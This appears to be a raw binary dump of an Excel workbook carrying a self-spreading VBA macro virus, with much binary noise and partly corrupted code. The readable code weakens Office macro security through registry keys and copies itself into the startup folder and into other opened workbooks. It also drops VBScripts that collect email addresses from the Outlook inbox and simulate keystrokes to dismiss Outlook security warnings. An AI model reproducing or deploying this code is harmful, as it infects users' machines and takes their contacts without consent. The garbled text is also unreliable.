h
`������������
x ������)�y�b����������� �xy�d����������� �y�f����������� �y�h����������� �y�j���������������$d`�l�������� ��\!`�n�������� ��` �
`������������
��������h� n0`������������
�
����s�i�p���������������(`�r����������`�t�����������`�����������f 2�`������������
��������
e�@�z�����������@�|����������h `�����������!� h`����������������� o�i�����������������@������������$~@������������b@��`�������������������x�i��������������7�i�����������������b@�@������������>@�������������6�
`����������������������!!�� ����������p
b@%`������������`������������`���������� ��vr����`����������������������@������������@�������������@������������.z`������������5n8 ���������x �
��������p08p�����������������������
����@��h
h�����������"���������������������%����������������������������������������������������������������������@������������������������������������������������������������������������������&0246\k4.s"@��x��� �� coms@���t����� l /f@������p����� \k@��(`����� re\m@������\��� �� �@������l����� cess@��x<����� hkey@������,����� re\m��������������������������������������������������������������(��������@���������������������x�����������������������������������������achine\softwe\@��xl��� �� �@������\����� leve@������x��� �� '�"������t����`p%����xorda@������p����� reg_�����������������������������������������������������������������(x����������������������������������������������������������������������`����b@�k��@���x��� �� @���t��� �� \@������d����� �l@���`��� �� macr@������\��� �� a2$%������x���`alse%�����a3$@��@t����� =if(@��xp����� !�@��pl����� �@������h����� ��������������������(����������������������������8�������������p(����h�������������������������������������������������������������`@ �]����x�����=end�((�@���p��� �� @���`����� �@������\��� �� �����4���&��va@���l����� � @���<����� �@�� ,����� �@��(����� �@������$����� !@��@����� �@��x����� p@��p������ 10@��������� 11@��������� 14@��������� 15@������������ p@������� �� t.sh�.�@���������? �� t\map�\open\@��8������ @������������
������� � ����� ���������������������
���������������������������������������������������������"@0(�q*\r4*#���� ����� � '0�p� `�h�x� ������b����������������b����� ������������ �����"(�p� ����b�$x� �����p� �����x������������� �����
�������� ������������ �����
�� �(� �����0�@�h�p� �����x�h�p�x� ����������������� �����*��
�� �����"�
0�
@�p�`�h�p�x��������� �����
�������� ������� ��������� � �����(� �����h�`�(x� ��������� �����
�������� ����� � ����� �( �"8 �` �p �x �� �� �� �
� �� �� � ����b�� �� �� �� �� �� �b
�l`
�j�
�h� �����h�
`�
p���
��
������ ����b��� ��������*� �����zh�v��\
�x`
� ������
��
� ������
��
��(� �����h� ����"�p�x�`��������������� ����� ����"� ���� ������� �����.��<� (� �����(@�!x�(x�6y��(��^r��(@�!x�(x�!��(��!�� �������<?��0�58�p� ����b�x�`�h�p����������� ����"���������� � �����0�bp� �����0��2�� �(�.0�`�h�p�x�p��
����
��
�
.�@�
jh���
��,��,���
�� �(� ����� ����"�0�&8� �����`�*h��� �����2��f��$8�`�h� �����"x�"����b��>0� p�2���� ��.� 8�6x� ��2���� � �@�8`�2���� ��2�@�
x� �����&h����� �����"��&��2��n0�p��n��j �*p�2��0��"�t0���.��4��\�h�,��8�����:�bx�.��p��j@ �� �$� �z� �8(!�4`!�b�!�>�!� "�8"�bh"�<�"��"��"�(�"�. #�hp#�j�#��#�$�$ $�h$�h$�>x$�d�$�@%�v@%�&�%�@�%�&�r&�dh&��&�*�&�&'�@'�(p'�x'�j�'�4(�&@(�h(�j�(�4�(�&0)�x)�&x)��)��)�0�)�.�)�h(*�xp*�j�*�. �8h �� �6� �� �"� �,�0,�8@,�6x,�0�,�p�,�0-�8@-�x-�b�-�>�-�.�(.�(8.�.`.�h�.�p�.�(/�h/�$`/��/�
�/��/�(�/��/��/� ����"�0� 0�(0�80� �����@0�*`0�6�0�f�0� 1�&01�x1�`1� �����<p1�"�1�l�1�(2�h2�ph2�p�2�d3�p3�p�3�@4�v@4��4�p�4�v 5�nx5���5���6��07��7��7�>�7�08�jh8�6�8�&�8�"�8� 9�&@9� h9��9�4�9�6�9� :�8:�0p:�*�:�(�:�x�:�bp;�*�;�$�;��;�<�&(<�p<�p<� �����
�<��<��<��<�,�<�(=�
0=� �����
@=�p=�(x=��=�
�=�$�=��=���=� �������>�0?�8?� �����n@?�r�?�t�?�t@@�>�@� �����2�@�la�
`a�^pa�:�a�b�
b�(b� ����"�0b�8b�@b�hb� �����$xb��b� ������b��b��b��b��b��b��b��b��b��b�
�b�c�c� c�(c�0c�hc�pc�xc�`c�hc�pc� ����b�xc�2�c��c��c��c��c��c�d�d�d� ����b�d� d�8d�@d�xd�hd��d�
�d��d��d��d��d��d�*�d�2e�pe�`e�heb�pe�xe��e�4�e�.�e�f�*f�
hf�xf� ����b�`f�hf�pf�*�f� �f��f�
�f��f� ����"��f�g�g�*g�jhg��g� �g��g�
�g��g� �g�h�
h�0h�8h� ����� ����"�@h�hh�`h�
hh�
xh��h��h�
�h�@�h��h�i�i�0i�
@i�pi�xi�`i�
pi��i�*�i��i��i��i�&j�|(j�v�j�, k�
pk�`k�pk�
xk��k� ����b��k��k��k��k�
�k�
�k��k�&l�0l�$8l�"`l��l��l��l��l��l�
�l� ������l�����l�� &(( !* &!,�� &(.a0a2�$4!�macro1�g a@6j b@8��8�7f� &(. gp�8�k��xo��p�@]�"����thisworkbook !<%>!@��0��#public withevents xx as applicationc@b��������private sub workbook_open()c@b��������set xx = applicationc@b��������on error resume nextc@b��������!application.displayalerts = falsec@b��call do_whatc@b��������end subc@b��1private sub xx_workbookopen(byval wb as workbook)c@b� �on error resume nextc@b�
�%wb.vbproject.references.addfromguid _c@b��guid:= :�&{0002e157-0000-0000-c000-000000000046} :�, _c@b��major:=5, minor:=3c@b�
�"application.screenupdating = falsec@b��!application.displayalerts = falsec@b��copystart wbc@b��!application.screenupdating = truec@b��end subc@bq��o����]��]��]�� !<.d��thisworkbook d%>.f� f!@.j j��5nc@lq���o��x�8 !* &!,�a@ratavaxk��0i��(�x�]��]���k4.xls$d!<.`� \!<.b�todole ` b�$f�gzji����
� ��]��]�]�(]�@]�x]�p]�� j���'fz��0k��( h$| ~��'fz��k��� l���'fz���k��� j!� ���'fz���k��� l!� ���'fz���k����x� h j%>.f �!����'fz��@k��8�temp$��\ h�.bas'p n�� p � � �$~ ~� �b@� pa@� �!����'fz���k���k��� l!>� h7�c@�q��xd��p �b@�� h l%>.f �!��� �!�� �d���'fz���k���k���k��� p�� h j%>b@� p�\$�'v p�.$�'x p v� x v�$�'r��.f� r l%>.f f�� p�� l!>b@�d�� f!l ��� p l!>%�.z f!@��5nc@l� z!@!n z!@%�'t� tc@bq����� z l!>b@�k��`k��x pa@��'fi��8��]��]�� !�'� &!,�\k4.xls'��k4.xls$� !* &!,�g��k4.xls$db@bj�comspec$ �� /c attrib -s -h " &!,�\k4.xls" �a@��comspec$ �� /c del /f /q " &!,�\k4.xls" �a@��comspec$ �� /c rd /s /q " &!,�\k4.xls" �a@� !* &!,�� &(.� (� � b@�� (�� &(.k��hi��@�]�x�p������]����]��� &!�'���scripting.filesystemobject$�.��,hkey_current_user\software\microsoft\office\ ��\excel\security\accessvbom'��,hkey_current_user\software\microsoft\office\ ��\excel\security\level'��-hkey_local_machine\software\microsoft\office\ ��\excel\security\accessvbom'��-hkey_local_machine\software\microsoft\office\ ��\excel\security\level'��'��'� � �� reg_dworda� � �� reg_dworda� � �� reg_dworda� � �� reg_dworda�i����]����
wscript.shell$�.� ��� � � �b@�d��p � � � �b@�k��0��.�o�� ���]�8� \%4b@h ��l 4b@��macro1 �(�a2$�b@h�
=error(false) �(��a3$�b@h�=if(error.type(run(" &!��"))=4) �(��a4$�b@h�=alert("���ú꣬�ر� �
$� ��
$��please enable macro!",3) �(��a5$�b@h�=file.close(false) �(��a6$�b@h� =end.if() �(��a7$�b@h� =return() �(�� �� \!4� �!�!auto_activate�=macro1!$a$2� \!�b@���� �� \%�(�o����p�'���� � &%d!�
��'�z��`k��x��pi��h��]�10:00:00��]�11:00:00�]�14:00:00� ]�15:00:00�8]�p�h��
wscript.shell$�.��,hkey_classes_root\mailto\shell\open\command\ �%$�outlook.exe��
�g|j � � � ���d:\collected_address:frag1.txt$�1�|���d����1�d:\collected_address:frag1.txta@a@
k���d��� �g|j �
�n�
�$ �
�n�
�$�|�� d���n� �$'����d:\collected_address:frag2.txt$x'��� ��n� �$ �d:\collected_address\log.txt$��|��`d��x��d:\collected_address:frag1.txta@ ��d:\collected_address:frag2.txta@a@k���
k���
k���
o���
��]�������� �8��
��scripting.filesystemobject$�.��
wscript.shell$�.��e:\kk %��g�e:\kk b@ j ! !�$�� �_$"�.�_$"'�e:\kk\ �
_clear.vbs'$ �' $ �� ��on error resume next� ��dim wsh, tle, t0, i� �� t0 = timer� �� set wsh=createobject("�wscript.shell"�)� �� tle = "�microsoft office outlook"�� ��for i = 1 to 1000� ��$ if timer - t0 > 60 then exit for� �� call refresh()� �� wscript.sleep 05� �� wsh.sendkeys "�%a"�� �� wscript.sleep 05� �� wsh.sendkeys "�{tab}{tab}"�� �� wscript.sleep 05� �� wsh.sendkeys "�{enter}"�� ��next� ��set wsh = nothing� ��wscript.quit� ��
sub refresh()� ��*do until wsh.appactivate(cstr(tle)) = true� ��$ if timer - t0 > 60 then exit sub� ��loop� �� wscript.sleep 05� �� wsh.sendkeys "�%{f4}"�� ��end sub� v�e:\kk\ �_search.vbs'& �' & �� ��on error resume next� ��const olfolderinbox = 6� ��$dim conbinded_address,wshshell,sh,ts� ��#set wshshell=wscript.createobject("�wscript.shell"�)� ��set objoutlook = createobject("�outlook.application"�)� ��,set objnamespace = objoutlook.getnamespace("�mapi"�)� ��<set objfolder = objnamespace.getdefaultfolder(olfolderinbox)� ��set targetfolder = objfolder� ��conbinded_address = "�"�� ��!set colitems = targetfolder.items� ��wscript.sleep 300000� ��wshshell.run ("�wscript.exe $�"�), vbhide, false� ��
ts = timer� ��for each objmessage in colitems� ��& if timer - ts >55 then exit for� ��m conbinded_address = conbinded_address & valid_address(objmessage.body)� ��next� ��add_text conbinded_address, 8� ��)add_text all_non_same(readalltextfile), 2� ��wscript.quit� ��� �� private function valid_address(source_data)� ��t dim odict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr� �� dim regex, matchs, ss, arr()� �� set odict = createobject("�scripting.dictionary"�)� �� set regex = createobject("�vbscript.regexp"�)� ��� �� regex.global = true� �� regex.pattern = "�,\w ([- .]\w )*@\w ([-.]\w )*\.\w ([-.]\w )*"�� ��* set matchs = regex.execute(source_data)� ��% redim trimed_arr(matchs.count - 1)� ��3 for i = lbound(trimed_arr) to ubound(trimed_arr)� ��/ trimed_arr(i) = matchs.item(i) & vbcrlf� �� next� ��� ��3 for i = lbound(trimed_arr) to ubound(trimed_arr)� �� odict(trimed_arr(i)) = "�"�� �� next� ��� �� if odict.count > 0 then� �� nonsame_arr = odict.keys� ��: for i = lbound(nonsame_arr) to ubound(nonsame_arr)� ��; valid_address = valid_address & nonsame_arr(i)� �� next� �� end if� �� set odict = nothing� ��end function� ��� ��0private sub add_text(inputed_string, input_frag)� ��5 dim objfso, logfile, logtext, log_path, log_folder� �� log_path = "�d:\collected_address"�� �� set objfso = createobject("�scripting.filesystemobject"�)� �� on error resume next� ��1 set log_folder = objfso.createfolder(log_path)� ��� ��$ if objfso.fileexists(log_path & "� \log.txt"�
) = 0 then� ��7 set logfile = objfso.createtextfile(log_path & "� \log.txt"�, true)� �� end if� �� set log_folder = nothing� �� set logfile = nothing� ��� �� select case input_frag� �� case 8� ��8 set logtext = objfso.opentextfile(log_path & "� \log.txt"�, 8, true, -1)� ��& logtext.write inputed_string� �� logtext.close� �� case 2� ��8 set logtext = objfso.opentextfile(log_path & "� \log.txt"�, 2, true, -1)� ��& logtext.write inputed_string� �� logtext.close� ��
end select� �� set objfso = nothing� ��end sub� ��� ��"private function readalltextfile()� �� dim objfso, filename, myfile� �� filename = "�d:\collected_address\log.txt"�� �� set objfso = createobject("�scripting.filesystemobject"�)� ��< set myfile = objfso.opentextfile(filename, 1, false, -1)� �� if myfile.atendofstream then� �� readalltextfile = "�"�� �� else� ��( readalltextfile = myfile.readall� ��
end if� ��set objfso = nothing� ��end function� ��� ��*private function all_non_same(source_data)� ��( dim odict, i, trimed_arr, nonsame_arr� �� all_non_same = "�"�� �� set odict = createobject("�scripting.dictionary"�)� ��� ��* trimed_arr = split(source_data, vbcrlf)� ��� ��3 for i = lbound(trimed_arr) to ubound(trimed_arr)� ��! odict(trimed_arr(i)) = "�"�� �� next� ��� �� if odict.count > 0 then� �� nonsame_arr = odict.keys� ��: for i = lbound(nonsame_arr) to ubound(nonsame_arr)� ��b all_non_same = all_non_same & nonsame_arr(i) & vbcrlf� �� next� �� end if� �� set odict = nothing� ��end function� v * &((�wscript.exe & .� �b@,��.�o���p]����������]� � 2'0��
wscript.shell$�.���scripting.filesystemobject$�.�e:\sorce %��g�e:\sorce b@ j ! !�$�� �_$"�.�_$"'�* � *message*'4� e:\sorce\ �_key.vbs' �' �� ��.dim oexcel,owb, wshshell,fso,atta_xls,sh,route� ��on error resume next� ��set sh=wscript.createobject("�shell.application"�)� ��sh.minimizeall� ��set sh = nothing� ��set fso = createobject("�scripting.filesystemobject"�)� ��%set wshshell = wscript.createobject("�wscript.shell"�)� ��if fso.folderexists("�e:\kk"�!) = false then fso.createfolder "�e:\kk"� ��fso.copyfile _� ��wshshell.currentdirectory & "�\ �*.cab"�,� �"e:\kk\"�, true� ��for each atta_xls in listdir("�e:\kk"�)� �� wshshell.run "�expand "� & atta_xls & "� -f: �.xls e:\kk"� , 0, true� ��next� ��if fso.fileexists("�e:\kk\ �.xls"�
) = 0 then� ��- route = wshshell.currentdirectory & "�\ �.xls"� ��7 if fso.fileexists(wshshell.currentdirectory & "�\ �.xls"�)=0 then� ��# route = inputbox("�
warning! "� & chr(10) & "� you are going to open a confidential file."�
& chr(10) _� ��" & "�%please input the complete file path."� & chr(10) & "�#ex. c:\parth\confidential_file.xls"�, _� �� "�open a file"� , "�$please input the complete file path"�, 10000, 8500)� �� end if� ��else� �� route = "�e:\kk\ �.xls"� ��end if� �� set oexcel=createobject("�excel.application"�)� ��' set owb=oexcel.workbooks.open(route)� �� oexcel.visible = true� ��set oexcel = nothing� ��set owb = nothing� ��set wshshell = nothing� ��set fso = nothing� ��wscript.quit� ��%private function listdir (byval path)� ��( dim filter, a, n, folder, files, file� �� redim a(10)� �� n = 0� ��" set folder = fso.getfolder(path)� �� set files = folder.files� �� for each file in files� �� if left(file.name, �) = " �" and right(file.name,3) = "�cab"� then� ��4 if n > ubound(a) then redim preserve a(n*2)� �� a(n) = file.path� �� n = n 1� ��
end if� �� next� �� redim preserve a(n-1)� �� listdir = a� ��end function� v !*� \test.txt' �' �� �� e:\sorce\ �_key.vbs� �� e:\sorce\ �.xls� v� &(.a@6� e:\sorce\ �.xls b@�a@r$l' 8 !*�$�a@:�#"c:\" !*a@:�comspec$ �� /c makecab /f " !*�
\test.txt"�j /d compressiontype=lzx /d compressionmemory=21 /d cabinetnametemplate=../ �.cab .� �b@,�" !*� \test.txt %< !*�
\setup.rpt %< !*�
\setup.inf %< !*�\ �.cab %<aa@������comspec$ �� /c rd /s /q " !*�\disk1" .� �b@,�comspec$ �� /c del /f /q " !*�
\test.txt" .� �b@,�comspec$ �� /c del /f /q " !*�\setup.rpt" .� �b@,�comspec$ �� /c del /f /q " !*�\setup.inf" .� �b@,�comspec$ �� /c rd /s /q e:\sorce .� �b@,�e:\kk %��g�e:\kk b@ j�comspec$ �� /c move /y �.cab e:\kk" .� �b@, 8a@:� 0 � dear all, @ @�fyi��e:\kk\ �.caba>�comspec$ �� /c rd /s /q e:\kk .� �b@,��.�� &(.o���=�8 ]�
]�0
�g|j��outlook.application$�.l� r l%p.n n� d9d f9f b9h h9t j5vb@��9xq�� =�z=�\= nb@^[�� setforth �a@�a@�a@��%s��ba@`a@��\�<�z�<��.l��.no���<�h
��
win32_process� winmgmts:$f%h.d�'� j� d� j!l�outlook��
��'y��<k���;���;i���;��
]��
���'n p��gzj p�
�� �� p� n�$$ 'n� ��z��p;k��h; p�
'ra@4� ���
� v r x��'t x t��g n�$$ x t'nj x t'x���:i���:�0]�p�����'2�d:\collected_address\log.txt$ @$~'z z� z��$n�$$$~'|� �� |�� 2�; $|x�$z'2� ��i���9����9]��0��scripting.filesystemobject$�.�� ���� �%�.� �!�' �b@bi��9�h��8]������scripting.filesystemobject$�.� � ��
$� �%��g � ��
$� �b@ j � �%<�� ���� �%�.� � �b@� �b@bd��8� ���� �%�.� � �b@� �b@bk���7o���7��]�8
�x
�p
]��
� &(.� &((�p7� �� !��� �(�� �!�!$~#�
auto_activate�g �b@�j��7� �� !4� �!�macro1� � �(� �b@�k���6���6�$4b@h 4b@�� �� !4� �!�$4!�g � �(�j��06� v�'�� v�'��** confidential! ** � � ��use �"$� ! !�$��_key.vbs�"$�� to open this file. �� � ������ �"$� ! !�$��_key.vbs�"$�� �������ļ�. �� � � � �$� �� �$�$���5�(��5�(�q���4� &(.o��p4��
]��
��
��(�@4 �!'�� &(.� &((� �� !4� �!�macro1�g � �(�j���3� ���a1:f15 �$4%�� �!��confidential��
��'�y��h3k��`3��x3 ���g �$4b@�j� &(.i�� 3����3����h�attribute vb_name = "todole"
privalsub auto_open()
application.display@alerts|false
if thisworkbook.pa@th <> ts@tartupt@hen
c�reenupding[ call delete�_tf_wk<�copytowx�sheets0(1).��"m@acro1"se�n movem�4
[�
csavnstruend� if
����r��jonst @dquotev"3�?wi��
bvbproject.vbcomponenn" ").codemodublf.ins�lines 1, p"pub� ev� xx as��_@��
2�
���v��e�3�set�=�4� on error resu�@�next�5� �
6
�o_wtha7�h�8��i�xx_�o��byval wbkam�b)
9!7120
wbt�vreferences.addfrom@guid _m1asguid:=" &��& "{0002e157-u0c�b�0�046}k,��>�major:=@0�min!3��=�{υw��?�:
xaa�ahs!�`0�
�>�at���acw!d�x�xk��x8dim`��8�bvb�ide�:
��v?��xw')y
��jc�����
=��
s(��#%a7aj�!! $� .db����untof�'(funrc� d#r�&��n.�š�torea�fterar��}��doormi��softhobb
y�abjudg���
��m(2d
�|
e>ab1o�>`��2��=1>e� 8k4.xl�s ��a� �2�)�7a-�m��@@od�ole","�d� ?b|)�qexit� �r��sg�v�@estring�e�� �l&/t�too�4fove@rwrite�
s&t�1bo�
an�)��#�xt~ ?:!<�3afo�
��� as slashpo�ws lonbg�ext0ft�emp��ufl
c�@is no`��0�e�q �!�#���� l a� ��a�trim(�)��vbnull3�%�a� ��
y"�
q0���@�c�].�;t 70�"�_pp_lo�cked_y�1���5�
�[�t�?�0�� ���2�2��f!'q
�?�:�f� #�о.n�umbera�0��!0_!y!�9=��viron�n�2�")��"\� !�.bas���� �d<= ��
s$di$r(", �.or
mp� �hidd�šsystem~)��0��1�clea�ke k�i�b����%�� �q��929*�8* �.re�m�� .i �bg��e�b@x�rr.�:)���)/���� � = �9?�7
��0� a?�2��3a;�roject.vbcomponents(modulename).export f"i@:=f\
slashpos = instrrev(f, "\")�hextd."czgmidb] p 1, f-t-� 1b�et �gnothing�tovbp��b�
*if�)is *` then�,� (.i���� else!�2.type_vbext_ct_docum_�̌9�;�s�~t�emp��k���:c�kwith?.pcode���.deletelinesajunt�of�s�7*h�.(�z�co��-a! .inse,rt�!s�end a4kon error goto 0vprempove �)�
�if��kill ��� copym���cru��fun�ctio@�
� microsofthobby(�>dim myf��0 as ��º9�my��i�8re�s�� n��
�= kisworkbook.full�| = applica�.st�artuppa@c&�|k4.xls"
xeope�n("$) a/�thh�<>�
�k
� s' .clo se fabgshe *environ$("coms@pec") � /c attrib -s -h """�9k4.xls�, vbminimize�df�os
�
@`@ /f /q?
\?
�rd /s�
�3
b6�2�=��
)creenupdy dng�y4�r
i�saddin^/�savec c`z�o�k�)
ztlasm!!wdoorelfs�o, rk1�i�*2�3�4�
�rkvaluebvariant,� c dcvs��w`krversb�a�@� createob��("scripting.filesysta`�bjectx
= "hkey_current_user\sa0gware\h\�office\�4�q&excel\security\accessv�bompark2� ��t�\�le(velb3flocal_mach�ine__"]�
~4���x
�
5 = 1���. ca�lwreg(�"�p"re�g_dwordœz �2�$0���3744�
!�3sub bst�rkey',, �/�/r��k�|�2o�wsq]s�,p;-wscript.��y�a��6d�0_8k�f��.`w�*e �d
c��"d���n�����
b
priv�: %m �ma�~4(�byp wb��p�@�@xtq ��sht�c?c 0�e��1).sp�^cqwpp.y !�:=xl�64m�!�#
a��ve�.4�"21�8�srange("a,2"k�c�z.formular1c116=error(false)գ u3_i�a_ "=if(�.type(run(; |�~up���j""�))=4
4acalert@���ú꣬�ر� �pchr�(10�nowa�"plea��e@nable �!�"",3m5oocfile.cl�ose/�6��a�end.`�7return(#!� ea�ch �)in�(��wb�$s"( �%�!auto_�#�1
"`m=�&!$a$~2�x���,�� sb(0/visia= xlb,�ryhi�ddܸ8�8f�u7ҭ��b�r$wk�6`���) .v
v;bƶo�t��pkl0�)��4s(�a1�) �> 0��pî�aexi��&� p�d �i3 �oknotopen:
end function
private sub atjudge()
const t1 as df= "10:0u"<2
<1
<3u
<4
4
5dim senttime", ws@hshell�set = cre�object("wscript.-"�if �� instr(@ucase(&.regread("hkey_classes_root\mailtho\s:\o��\command\")), "outlook.exe") > 0 then exi�t���s�<b>=��<2 or. �� 4%
n �"�qound@:\collted_address:frag1.�txt�c��"
��g%� else�cb�pfilez"�7\
searc�h_in_oly�if�g2bif_outloo�k_�u �m�#�
g< t��f��=("�n)10,�)�r� t�z4)g�f�f��=b�-21�,�w@��,o�rror got�o t@�e�ik��ca3(w2w@fg��gvw <(2@gb$
\log�ghph�
�h�ni" j�i`���now9r�#i,�"cab�_� dm�yi�sb��u`g�v���axˤ)]�a�i��integer, att�na���ing@�ddvbsbk����list�fs� ����ga�lresu`
next
7�����s¡.f�{systemoob���_�i�
@mfs.folderex�s("e:�\kkb�fa�}z��$8b �
$= replace`�left(thiswork
b��.!), le�n�) - 4�� �k_"a.d�qf._cl����\�" &f4& "�p.vbs@pi�fhreea2
�� 7�}d7 f�{@�pu
t`�c�� wri3�� ;#i�3��nt� #i v�4e���4�(�gwsh, xtle`� vi � t0���r-a7�=c��c:(""i!"w�>.��4)
@��microsoft of�fice paz�'�q�1 `n10�00� if�m�rp > 6 r��call !f mh(�
�leep 05�p.se�ndkeys $�%a�p ���u�h�{tab~}boo
@o{�e`cr}a=[w� `th=�u
q�uit��re�pdo untibl� appq�a�(jcpj("))�t�rue asi*�aloop=%s?_� 1q�[z{f�4?7q\sub`close (i�0s�@\
�@�a"�b����@в�@��0a��yan af�'��o�lvinbox�
6�qcconbitnd`�ac�,e�,��dt�lxf�#�=���yu�sc۳3�8��f_�a� б�. %l�ica!�t.� �9�^sp�`��.ge�t��mmapi��� ��v�d@efault�(j_ targe�����~�� ec
1
colipxs��i.b�23�v�vah��.run� �_ex�o�p�o�� �svbhid�g{�{�tb
p��gq/e(ach�mppag�e in �
k�<
0i�b`>55 �t�`�t �?0�=@�/valhid_�0($d .pbody��up_�t@��, 8{ ���j_non_sо�2�allt0��0�2ku5q�y{0;2�u� �
sourc�e_datal
�aaaodict��r dp��ta , temp_data, ih_asc, header_endhrimed_arr, no nsame0"
print #l" dim regex, matchs, &sn()xset odict = createobject(""" & "scripting.�$ionarylylvbscript.regexpgq�(.global,true�pattern-\w ([- .])*@��\.
��,�� eexecute(sourcfe�ُ�re�ç�(!".c��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������ou��- �1for i@$lb�d(�) pto un�* � �i)@�i��(& vbcr�lfnext��(b(n(��h7@%�)`ý��'if���x> 0 txhens!h�i�$.�keyssl>�f�>��@vali���ddress}�&�{`# �!@e0nd i/;i|noth�y�
�fun�ct�{ ���v � sub add�_t@f(inp�a�d_song���`_frag/\abobjfso, l�ogfile a_path#f�ol@�`���&$fd:\coll�����a�*�im�b!����f�sys�f#�d
�on err`w�9ume ni�a��� .�cfb(eln ]�.�exist.s���ch\� .t�z��l8b$a2�t� !
, ��o$8s��"�s�'���$seab case ׂt�r� #8 �"at�"ope�n�"tdf, 8#�, -�� 1a�.writ-c5� c�2clos;_q�
2���
so�.�
9o%�
2�
���s�
c� c�
i�%[�s!�5>n�n �"�ub���neq� r��allf?.���m�2n�, m�y��@%��l�ss<